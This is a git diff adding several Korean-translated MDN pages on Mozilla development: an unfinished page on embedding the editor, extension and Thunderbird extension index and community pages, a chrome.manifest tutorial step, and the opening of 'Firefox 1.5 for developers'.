--- /dev/null
+++ b/files/ko/embedding_the_editor/index.html
@@ -0,0 +1,26 @@
+---
+title: Embedding the Editor
+slug: Embedding_the_Editor
+tags:
+  - Embedding Mozilla
+  - Midas
+translation_of: Mozilla/Gecko/Embedding_Mozilla/Embedding_the_editor
+---
+<h2 id=".EC.86.8C.EA.B0.9C" name=".EC.86.8C.EA.B0.9C">소개</h2>
+<p>이 문서는 편집기 임베딩시키는 것에 관련한 현황과 현재 구현의 문제점, 다루어 볼 만한 몇가지 임베딩 방법, 이를 위한 임베딩 솔루션에 대해 설명한다. 마지막으로는 최종 솔루션을 적용하는 과정을 밟아본다.</p>
+<h2 id=".EC.95.A0.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98_.EC.9E.84.EB.B2.A0.EB.94.A9" name=".EC.95.A0.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98_.EC.9E.84.EB.B2.A0.EB.94.A9">애플리케이션 임베딩</h2>
+<p>에디터를 위해 다룰 몇몇 임베딩 시나리오가 여기 있다. 우선 주의할 것이있다. 나는 '컴포저'(Composer)라는 용어를 리치 텍스트 편집을 수행하는 HTML-savvy 컴포즈 위젯에 대해 사용하며, '에디터'(Editor)라는 용어는 일반 텍스트 에디터(컴포저의 기반 기술이기도 하다)를 의미하는데 사용한다. <code>&lt;htmlarea&gt;</code>는 HTML 문서에 내장된 리치 텍스트 멀티라인 텍스트 위젯을 위한 약어로 사용된다. 모질라의 향후 버전에서 자신만의 태그를 지원하겠다는 암시를 의미하지는 않는다.</p>
+<h3 id="Composer_embedded_in_a_XUL_application" name="Composer_embedded_in_a_XUL_application">컴포저 내장 XUL 애플리케이션</h3>
+<p>오늘날 개발자들은 &lt;editor&gt; 테그를 사용함으로써, 컴포져 위젯을 그들의 XUL 어플리케이션에 내장할 수 있습니다. 그리고 그들은 기본적인 편집 기능이나, 하나의 윈도우에 몇개의 &lt;editor&gt;를 추가하거나, 혹은 각각의 &lt;editor&gt;의 모드(HTML모드인지 보통Text 모드인지)를 제어함에 있어 최소한의 작업만을 필요로 하길 바랍니다.</p>
+<p><br>
+ ((이후는 작업중))</p>
+<p> </p>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+  <li>Author(s): the editor team (<a class="link-mailto" href="mailto:mozilla-editor@mozilla.org">mozilla-editor@mozilla.org</a>)</li>
+  <li>Last Updated Date: October 30, 2000</li>
+  <li>Original Document: <a class="external" href="http://www.mozilla.org/editor/editor-embedding.html">Embedding the Editor</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/extensions/community/index.html b/files/ko/extensions/community/index.html
new file mode 100644
index 0000000000..5bc8462066
--- /dev/null
+++ b/files/ko/extensions/community/index.html
@@ -0,0 +1,18 @@
+---
+title: Community
+slug: Extensions/Community
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Extensions/Community
+---
+<p>혹시 <a href="ko/Extensions">확장기능 개발</a>과 관련하여 쓸모 있는 mailing list, newsgroup, 포럼이나 다른 커뮤니티를 아시면, 여기에 링크해 주세요.</p>
+<ul>
+ <li><a class="external" href="http://forums.mozillazine.org/?c=11">MozillaZine Extensions &amp; Themes forum</a></li>
+ <li><a class="link-irc" href="irc://moznet/%23extdev">#extdev channel on moznet IRC network</a></li>
+ <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners mailing list</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Extension_development">Mozillazine Knowledge Base</a></li>
+ <li><a class="external" href="http://allyourideas.com/index.php?title=Category:Firefox_extension">AllYourIdeas</a> - 확장기능용 아이디어</li>
+ <li><a class="external" href="http://babelzilla.org/">BabelZilla</a> - Mozilla 용용프로그램용 확장기능 개발자와 번역자를 위한 커뮤니티</li>
+</ul>
+<p>{{ languages( { "en": "en/Extensions/Community", "fr": "fr/Extensions/Communaut\u00e9" } ) }}</p>
diff --git a/files/ko/extensions/index.html b/files/ko/extensions/index.html
new file mode 100644
index 0000000000..5c095c6e0b
--- /dev/null
+++ b/files/ko/extensions/index.html
@@ -0,0 +1,72 @@
+---
+title: 확장기능
+slug: Extensions
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Mozilla/Add-ons
+---
+<p> </p>
+<div class="callout-box">
+<p><b><a href="ko/Building_an_Extension">확장기능 만들기</a></b><br>
+단계별로 어떻게 Firefox용 확장기능을 만드는지 설명합니다.
+</p>
+</div>
+<div>
+<p><b>확장기능</b>(Extensions)은 Firefox와 Thunderbird 같은 Mozilla 응용프로그램에 새로운 기능을 추가하는 작은 부가 기능입니다. 도구 표시줄 버튼부터 완전히 새로운 기능까지 무엇이든 추가할 수 있습니다. 확장기능은 응용프로그램 자체의 용량을 줄이고 개별 사용자가 부가 기능이 필요하면 응용프로그램을 수정하거나 개선할 수 있게 합니다.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h3 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h3>
+<dl><dt> <a href="ko/Extension_Frequently_Asked_Questions">확장기능에 관해 자주 하는 질문</a>
+</dt><dd> <small>확장기능 개발에 관한 일반 문답.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Setting_up_extension_development_environment"> 확장기능 개발 환경 구축</a>
+</dt><dd> <small>확장기능 개발 환경 구축을 쉽게 하기 위한 몇 가지 도움말.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Extension_Packaging">확장기능 패키징</a>
+</dt><dd> <small>내려받기와 설치를 위해 Firefox 확장기능 꾸리는 법. </small>
+</dd></dl>
+<dl><dt> <a href="ko/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Mozilla 빌드 시스템으로 사용자 정의 Firefox 확장기능 만들기</a>
+</dt><dd> <small>바이너리 컴포넌트를 사용 확장기능 빌드 환경 구축하는 법. </small>
+</dd></dl>
+<dl><dt> <a href="ko/Updating_extensions_for_Firefox_3"> Firefox 3에 맞춰 확장 기능 고치기</a>
+</dt><dd> <small>확장 기능에 영향을 줄 수 있는 Firefox 3의 변경 사항들과 관련 문서에 대한 링크들.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets">Code snippets</a>
+</dt><dd> <small>많은 확장기능이 보통 쓰는 코드. 더 많은 예제는 <a>Category:Extensions</a>의 문서를 같이 보세요.</small>
+</dd></dl>
+<p><span class="alllinks"><a>View All...</a></span>
+</p>
+</td>
+<td>
+<h3 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h3>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}
+</p>
+<ul><li> <a class="link-irc" href="irc://irc.mozilla.org/extdev">#extdev IRC channel</a>
+</li><li> <a class="external" href="http://forums.mozillazine.org/?c=11">MozillaZine forum</a>
+</li><li> <a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a>
+</li><li> <a href="ko/Extensions/Community">Other community links...</a>
+</li></ul>
+<h3 id=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC" name=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC"> 개발 도구 </h3>
+<ul><li> <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a>
+</li><li> <a href="ko/DOM_Inspector">DOM Inspector</a>
+</li><li> <a href="ko/Venkman">Venkman</a>, JavaScript 디버거
+</li><li> <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a>
+</li><li> <a class="external" href="http://www.spket.com/">Spket IDE</a>, 확장기능 개발용 IDE
+</li></ul>
+<p><span class="alllinks"><a>View All...</a></span>
+</p>
+<h3 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h3>
+<dl><dd> <a href="ko/XUL">XUL</a>, <a href="ko/JavaScript">JavaScript</a>, <a href="ko/XPCOM">XPCOM</a>, <a href="ko/Themes">Themes</a>, <a href="ko/Developing_Mozilla">Developing Mozilla</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/Extensions", "es": "es/Extensiones", "fr": "fr/Extensions", "it": "it/Estensioni", "ja": "ja/Extensions", "pl": "pl/Rozszerzenia", "pt": "pt/Extens\u00f5es" } ) }}
diff --git a/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html b/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html
new file mode 100644
index 0000000000..37184fd45b
--- /dev/null
+++ b/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html
@@ -0,0 +1,28 @@
+---
+title: 'Building a Thunderbird extension 4: chrome manifest'
+slug: 'Extensions/Thunderbird/Building_a_Thunderbird_extension_4:_chrome_manifest'
+translation_of: >-
+  Mozilla/Thunderbird/Thunderbird_extensions/Building_a_Thunderbird_extension_4:_chrome_manifest
+---
+<p>The file called <code>chrome.manifest</code> tells Thunderbird what packages and overlays are provided by the extension. Open the file called <code>chrome.manifest</code> that you created and add this code:</p>
+<pre class="eval">content     myfirstext    chrome/content/
+</pre>
+<ul>
+ <li><code><strong>content</strong></code> specifies the type of material in the package</li>
+ <li><code><strong>myfirstext</strong></code> is the name of the chrome package (specified in the first segment of <code>&lt;em:id&gt;</code> in the <code>install.rdf</code> file</li>
+ <li><code><strong>chrome/content/</strong></code> is the location of the package's files within the <code>chrome</code> namespace</li>
+</ul>
+<p>So, this line says that for a chrome package <code><strong>myfirstext</strong></code>, we can find its <strong>content</strong> files in the directory <code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">chrome</code>/<code>content</code>/ (which is a path relative to the location of <code>chrome.manifest</code>).</p>
+<p>To change the Thunderbird user interface to support the extension, you create an overlay and then merge it with the default Thunderbird interface. Later in the tutorial we will create a XUL overlay file that will merge with the default <code>messenger.xul</code> file. At this point we are going to specify in <code>chrome.manifest</code> the existence of the overlay (which we will create later).</p>
+<p>Add this line at the end of <code>chrome.manifest:</code></p>
+<div id="section_8">
+ <pre class="eval">overlay <a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a> <a class="external" rel="freelink">chrome://myfirstext/content/myhelloworld.xul</a>
+</pre>
+ This tells Thunderbird to merge <code>myhelloworld.xul</code> into <code>messenger.xul</code> when <code>messenger.xul</code> loads. For more information on chrome manifests and the properties they support, see the <a href="../../../../en/Chrome_Registration" rel="internal">Chrome Manifest</a> Reference.
+ <p> </p>
+ <p>If you used the Add-On Builder as described in the <a class="internal" href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension_2:_extension_filesystem" title="en/Extensions/Thunderbird/Building a Thunderbird extension 2: extension filesystem">previous step</a>, open the <code>chrome.manifest</code> file that was in the archive package in a text editor. You will see the <code>content</code> line at the top of the file. Add the <code>overlay</code> line at the bottom of the file. It doesn't matter if there are other <code>overlay</code> lines in the file.</p>
+</div>
+<div class="note">
+ It can be useful to install an add-on such as the <a href="/en/DOM_Inspector" title="en/DOM Inspector"><strong>DOM Inspector</strong></a> to better understand the layout of existing XUL files and to debug your own overlays.</div>
+<p>{{ Previous("Extensions/Thunderbird/Building_a_Thunderbird_extension_3:_install_manifest") }}</p>
+<p>{{ Next("Extensions/Thunderbird/Building_a_Thunderbird_extension_5:_XUL") }}</p>
diff --git a/files/ko/extensions/thunderbird/index.html b/files/ko/extensions/thunderbird/index.html
new file mode 100644
index 0000000000..8c10f366f3
--- /dev/null
+++ b/files/ko/extensions/thunderbird/index.html
@@ -0,0 +1,112 @@
+---
+title: Thunderbird extensions
+slug: Extensions/Thunderbird
+tags:
+  - Add-ons
+  - Extensions
+  - NeedsTranslation
+  - TopicStub
+  - thunderbird
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions
+---
+<div class="callout-box">
+  <strong><a href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="en/Building_a_Thunderbird_extension">Building a Thunderbird extension</a></strong><br>
+  Step-by-step explanation on how to build an extension for Thunderbird.</div>
+<div>
+  The following documentation provides help for creating extensions for Mozilla's <a class="internal" href="/en/Thunderbird" title="En/Thunderbird">Thunderbird</a> email client. Although there are many similarities with <a href="/en/Extensions" title="en/Extensions">Firefox extensions</a> there are also some differences that may confound the starting developer.</div>
+<div>
+  <br>
+  <strong>Please help!</strong> You can <a class="internal" href="/en/Extensions/Thunderbird/HowTos" title="en/Extensions/Thunderbird/HowTos">add a how-to</a> (a question or an answer or a code snippet), <a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">summarize and link to a relevant newsgroup discussion</a>, or create a tutorial. Need help? Contact <a class="internal" href="/User:jenzed" title="User:jenzed">jenzed</a>.</div>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Extensions&amp;language=en" title="Special:Tags?tag=Extensions&amp;language=en">Documentation</a></h2>
+        <h3 id="Getting_started_with_Thunderbird">Getting started with Thunderbird</h3>
+        <p>A brave, young developer wants to develop an addon for Thunderbird. Here's a few links to help them through this journey.</p>
+        <ul>
+          <li>Start by reading the tutorial and learn how to<a class="internal" href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="En/Building a Thunderbird extension"> build a Thunderbird extension</a> (Outdated, still talks about overlays and the ad-on builder has changed but the tutorial has not been updated.)</li>
+          <li>Read about the <a href="/en/Thunderbird/Main_Windows" title="Main Windows">main windows</a> so that you know what one means when they say « thread pane », « preview pane », and « folder pane ».</li>
+          <li>Read an <a class="external" href="http://blog.xulforum.org/index.php?post/2011/01/03/An-overview-of-Thunderbird-Conversations" title="http://blog.xulforum.org/index.php?post/2011/01/03/An-overview-of-Thunderbird-Conversations">overview</a> of how the various parts of Thunderbird fit together, this really helps get a better understanding of Thunderbird.</li>
+          <li>Want to do some real stuff? See <a class="external" href="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo" title="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo">how to inspect a message</a> (demo addon included!)</li>
+          <li>Play with our other <a href="/en/Extensions/Thunderbird/Demo_Addon" title="Demo Addon">demo addon</a> that exercises some more advanced Thunderbird-specific features</li>
+          <li>Want to do even more stuff? Don't reinvent the wheel: steal functions from the <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">thunderbird-stdlib</a> project (doc <a class="external" href="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html" title="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html">here</a>). Functions for dealing with messages (delete them, archive them, change their tags, etc.) are included.</li>
+          <li>Haven't found what you're looking for? Read the <a class="internal" href="/en/Extensions/Thunderbird/HowTos" rel="internal" title="en/Extensions/Thunderbird/HowTos">Thunderbird how-tos</a>; they contain a lot of recipes for things extensions want to do.</li>
+          <li>Still haven't managed to do what you wanted? See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>so that you know where to ask when you get stuck :-).</li>
+          <li>Feeling really brave? Read the source using a <a class="external" href="http://doxygen.db48x.net/comm-central/html/" title="http://doxygen.db48x.net/comm-central/html/">fancy interface</a>; you can often find tests that demonstrate how to do what you're trying to achieve.</li>
+        </ul>
+        <h3 id="The_Gloda_database">The Gloda database</h3>
+        <p>Thunderbird has a subsystem called Gloda. Gloda stands for « Global Database », and creates Thunderbird-wide relations between objects. Gloda provides concepts such as Conversations, Messages, Identities, Contacts. All these concepts are related together: a Conversation contains Messages which are linked to Identities (<strong>from</strong> field, <strong>to</strong> field) which are themselves part of a Contact: indeed, a contact has multiple identities.</p>
+        <p>Typical use cases for Gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc.</p>
+        <p>Gloda is extremely powerful and is used heavily by addons such as <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/" title="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/">Thunderbird Conversations</a>. Learn more about Gloda:</p>
+        <ul>
+          <li>an overview of <a href="/en/Thunderbird/gloda" title="Gloda">Gloda</a></li>
+          <li>learn how to create <a href="/en/Thunderbird/Creating_a_Gloda_message_query" title="Creating a gloda message query">your first message query</a> and read the <a href="/en/Thunderbird/Gloda_examples" title="Gloda examples">gloda examples</a></li>
+          <li>learn about the Gloda internals: <a href="/en/Thunderbird/Gloda_debugging" title="Gloda debugging">Gloda debugging</a>, <a href="/en/Thunderbird/Gloda_indexing" title="Gloda indexing">Gloda indexing</a></li>
+        </ul>
+        <h3 id="More_Thunderbird-specific_links">More Thunderbird-specific links</h3>
+        <p>Some of these links may be wildly out of date, but they still provide valuable information on the codebase.</p>
+        <ul>
+          <li><a class="internal" href="/en/Extensions/Thunderbird/An_overview_of_the_Thunderbird_interface" title="En/Extensions/Thunderbird/An overview of the Thunderbird interface">An overview of Thunderbird components</a></li>
+          <li><a class="internal" href="/en/Extensions/Thunderbird/Thunderbird_developer_reference_docs" title="en/Extensions/Thunderbird/Thunderbird developer reference docs">Developer reference docs</a>:
+            <ul>
+              <li><a class="internal" href="/en/Folders" title="En/Folders">Folder classes</a></li>
+              <li><a class="internal" href="/en/DB_Views_(message_lists)" title="En/DB Views (message lists)">DB views (message list)</a></li>
+              <li><a class="internal" href="/en/Message_Summary_Database" title="En/Message Summary Database">Message summary database</a></li>
+              <li><a class="internal" href="/en/MailNews_Protocols" title="En/MailNews Protocols">MailNews protocols</a></li>
+              <li><a class="internal" href="/En/MailNews%20Filters" rel="internal" title="En/MailNews Filters">MailNews filters</a></li>
+              <li><a class="internal" href="/en/Extensions/Thunderbird/Error_reporting_tools" title="en/Extension Library/Extensions/Thunderbird/Error reporting tools">Error reporting tools</a></li>
+              <li><a href="/en/Toolkit_API/STEEL" title="en/Toolkit API/STEEL">STEEL library</a> (not actively developed anymore, use   <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">https://github.com/protz/thunderbird-stdlib</a>)</li>
+              <li><a class="external" href="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html" title="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html">Developing new account types</a> <strong>NEW!</strong></li>
+            </ul>
+          </li>
+          <li><a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">Useful newsgroup discussions</a> (watch out, anything that's too old should be regarded suspiciously; there's been significant API rewrite over the past years, and most of these techniques are considerably easier now) </li>
+          <li><a href="/en/Thunderbird/Thunderbird_API_documentation" title="en/Thunderbird/Thunderbird API documentation">Thunderbird API docs</a> (mostly a collection of out-of-date pages, relevance is rather dubious) </li>
+          <li><a href="/En/Thunderbird_3_for_developers" title="En/Thunderbird 3 for developers">Thunderbird 3 for developers</a> and <a href="/en/Thunderbird_3.1_for_developers" title="en/Thunderbird 3.1 for developers">Thunderbird 3.1 for developers</a> - changes in the recent Thunderbird updates affecting add-on developers. <a href="/Thunderbird_5_for_developers" title="Thunderbird 5 for developers">Thunderbird 5 for developers</a> has important information on MsgHdrToMimeMessage which is a central piece of code.</li>
+        </ul>
+        <h3 id="General_links">General links</h3>
+        <ul>
+          <li><a class="internal" href="/en/Extensions" title="en/Extensions">General information on developing extensions for Mozilla applications</a></li>
+          <li><a href="/en/Extensions/Thunderbird/Finding_the_code_for_a_feature" title="en/Extensions/Thunderbird/Finding the code for a feature">Finding the code for a feature</a></li>
+          <li><a class="external" href="http://kb.mozillazine.org/Category:Thunderbird" title="http://kb.mozillazine.org/Category:Thunderbird">Mozillazine articles on Thunderbird</a></li>
+          <li><a href="/Special:Tags?tag=Thunderbird" title="https://developer.mozilla.org/Special:Tags?tag=Thunderbird">All pages tagged with Thunderbird</a></li>
+          <li><a href="/Special:Tags?tag=MailNews" title="https://developer.mozilla.org/Special:Tags?tag=MailNews">All pages tagged with MailNews</a></li>
+        </ul>
+      </td>
+      <td>
+        <h2 id="Community" name="Community">Community</h2>
+        <ul>
+          <li>See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>first</li>
+          <li>Among these are:</li>
+        </ul>
+        <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p>
+        <ul>
+          <li><a class="link-irc" href="irc://moznet/#extdev">#extdev IRC channel</a> / <a class="link-irc" href="irc://moznet/#maildev">#maildev IRC channel</a></li>
+          <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=19">MozillaZine forum</a></li>
+          <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a></li>
+          <li><a href="/en/Extensions/Community" title="en/Extensions/Community">Other community links...</a></li>
+        </ul>
+        <h2 id="Tools" name="Tools">Tools</h2>
+        <ul>
+          <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> edit the live DOM (Firefox and Thunderbird)</li>
+          <li><a class="link-https" href="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/" title="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/">Workspace for Thunderbird</a>, allows running code snippets in Thunderbird and inspecting variable structure and content</li>
+          <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/" rel="external nofollow" title="http://www.hacksrus.com/~ginda/venkman/">Venkman</a>, a JavaScript debugger (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird</a>)</li>
+          <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> a suite of development tools</li>
+          <li><a class="external" href="http://www.gijsk.com/" rel="external nofollow" title="http://www.gijsk.com/">Chrome List</a> view files in chrome:// (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird</a>)</li>
+          <li><a class="external" href="http://addons.mozilla.org/en-US/developers/tools/builder" rel="external nofollow" title="http://addons.mozilla.org/en-US/developers/tools/builder">Add-on Builder</a> a web-based extension skeleton generator (Firefox and Thunderbird)</li>
+          <li><a href="/en/Mozmill" title="en/Mozmill">Mozmill</a> test tool and framework</li>
+          <li><a class="external" href="http://xpcomviewer.mozdev.org/" rel="external nofollow" title="http://xpcomviewer.mozdev.org">XPCOMViewer</a> an XPCOM inspector (Firefox and Thunderbird)</li>
+        </ul>
+        <p>... <a class="internal" href="/en/Setting_up_extension_development_environment#Development_extensions" title="en/Setting up extension development environment#Development extensions">more tools</a> ...</p>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=Extensions:Tools&amp;language=en" title="Special:Tags?tag=Extensions:Tools&amp;language=en">View All...</a></span></p>
+        <h2 id="Related_Topics" name="Related_Topics">Related Topics</h2>
+        <dl>
+          <dd>
+            <a href="/en/XUL" title="en/XUL">XUL</a>, <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/en/Themes" title="en/Themes">Themes</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a></dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p>{{ languages( { "ja": "ja/Extensions/Thunderbird" } ) }}</p>
diff --git a/files/ko/firefox_1.5_for_developers/index.html b/files/ko/firefox_1.5_for_developers/index.html
new file mode 100644
index 0000000000..fa1dba1cc6
--- /dev/null
+++ b/files/ko/firefox_1.5_for_developers/index.html
@@ -0,0 +1,150 @@
+---
+title: Firefox 1.5 for developers
+slug: Firefox_1.5_for_developers
+tags:
+  - Add-ons
+  - CSS
+  - DOM
+  - Extensions
+  - HTML
+  - JavaScript
+  - RDF
+  - SVG
+  - Web Development
+  - Web Standards
+  - XML
+  - XML Web Services
+  - XSLT
+  - XUL
+translation_of: Mozilla/Firefox/Releases/1.5
+---
+<h3 id="Firefox_1.5" name="Firefox_1.5">Firefox 1.5</h3>
+<p>Firefox 1.5를 출시하여 <b><a class="external" href="http://www.mozilla.com/firefox/">내려 받기</a></b>할 수 있습니다. <a href="ko/Gecko">Gecko</a> 1.8 엔진에 기반을 둔 이 최신 버전은 이미 최고인 클래스 표준 지원 개선과 다음 세대 웹 어플리케이션에서 가능한 새 기능을 제공합니다. Firefox 1.5는 CSS2와 CSS3 지원 개선, 많은 DHTML, JavaScript, DOM 향상은 물론 <a href="ko/SVG">SVG</a> 1.1과 <code>&lt;canvas&gt;</code>, <a href="ko/XForms">XForms</a>, XML 이벤트를 통한 스크립팅과 프로그래밍이 가능한 2D 그래픽스 API를 크게 다룹니다.</p>
+<p><b>Firefox 1.5</b>는 <a class="external" href="http://www.mozilla.com/firefox/" rel="freelink">http://www.mozilla.com/firefox/</a> 에서 내려받을 수 있습니다.</p>
+<h3 id=".EA.B0.9C.EB.B0.9C.EC.9E.90_.EB.8F.84.EA.B5.AC" name=".EA.B0.9C.EB.B0.9C.EC.9E.90_.EB.8F.84.EA.B5.AC">개발자 도구</h3>
+<p>개발자를 도울 수 있는 여러 도구와 브라우저 확장기능들이 Firefox 1.5를 지원합니다.</p>
+<ul>
+ <li><a href="ko/DOM_Inspector">DOM Inspector</a>는 개발자가 문서를 직접 편집하지 않고 문서를 수정하고 검사할 수 있도록 하는 도구입니다. DOM Inspector는 개발자 도구 아래 Firefox 1.5의 사용자 정의 설치 선택사항 부분에서 이용할 수 있습니다.</li>
+ <li>JavaScript console은 한 페이지에 JavaScript와 CSS 에러 보기뿐만 아니라 JavaScript 코드를 시험하고 작성하게 하는 도구입니다.</li>
+ <li>구문 강조와 찾기 기능을 갖춘 페이지 소스 보기.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/showlist.php?application=firefox&amp;category=Developer%20Tools">Browser extensions</a>는 <a class="external" href="http://www.joehewitt.com/software/firebug/">FireBug</a>, <a href="ko/Web_Developer_Extension_(external)">Web Developer toolbar</a>, <a href="ko/Live_HTTP_Headers_(external)">Live HTTP Headers</a>, <a href="ko/HTML_Validator_(external)">HTML Validator</a>, 그리고 더 많은 것을 포함합니다.</li>
+</ul>
+<p><strong>주의:</strong> 확장기능 약간은 현재 Firefox 1.5를 지원하지 않아 자동으로 사용불가능합니다.</p>
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>Firefox 1.5의 새 기능:</p>
+<h4 id=".EC.9B.B9_.EC.82.AC.EC.9D.B4.ED.8A.B8_.EA.B0.9C.EB.B0.9C.EC.9E.90.EC.99.80_.EC.96.B4.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98_.EA.B0.9C.EB.B0.9C.EC.9E.90" name=".EC.9B.B9_.EC.82.AC.EC.9D.B4.ED.8A.B8_.EA.B0.9C.EB.B0.9C.EC.9E.90.EC.99.80_.EC.96.B4.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98_.EA.B0.9C.EB.B0.9C.EC.9E.90">웹 사이트 개발자와 어플리케이션 개발자</h4>
+<dl>
+ <dt>
+  <a href="ko/SVG_In_HTML_Introduction">SVG In XHTML Introduction</a></dt>
+ <dd>
+  XHTML 페이지에서 SVG를 쓰는 법과 정규 XHTML을 스크립트하는 방식과 같은 방식으로 그림을 조작하는데 JavaScript과 CSS를 쓰는 법을 배웁니다. 또한 Firefox의 SVG 구현 상태와 알려진 문제 정보를 알아보려면 <a href="ko/SVG_in_Firefox">SVG in Firefox</a>를 보세요.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></dt>
+ <dd>
+  새로운 <code>&lt;canvas&gt;</code> 태그 정보와 Firefox에서 그래프와 다른 개체 그리는 법을 알아봅니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/CSS3_Columns">CSS3 Columns</a></dt>
+ <dd>
+  CSS3에 새로 제안한 자동 다단 텍스트 layout 지원 정보를 알아봅니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Using_Firefox_1.5_caching">Using Firefox 1.5 caching</a></dt>
+ <dd>
+  <code>bfcache</code> 정보와 뒤로 가기와 앞으로 가기 항해 속도를 높이는 법을 알아봅니다.</dd>
+</dl>
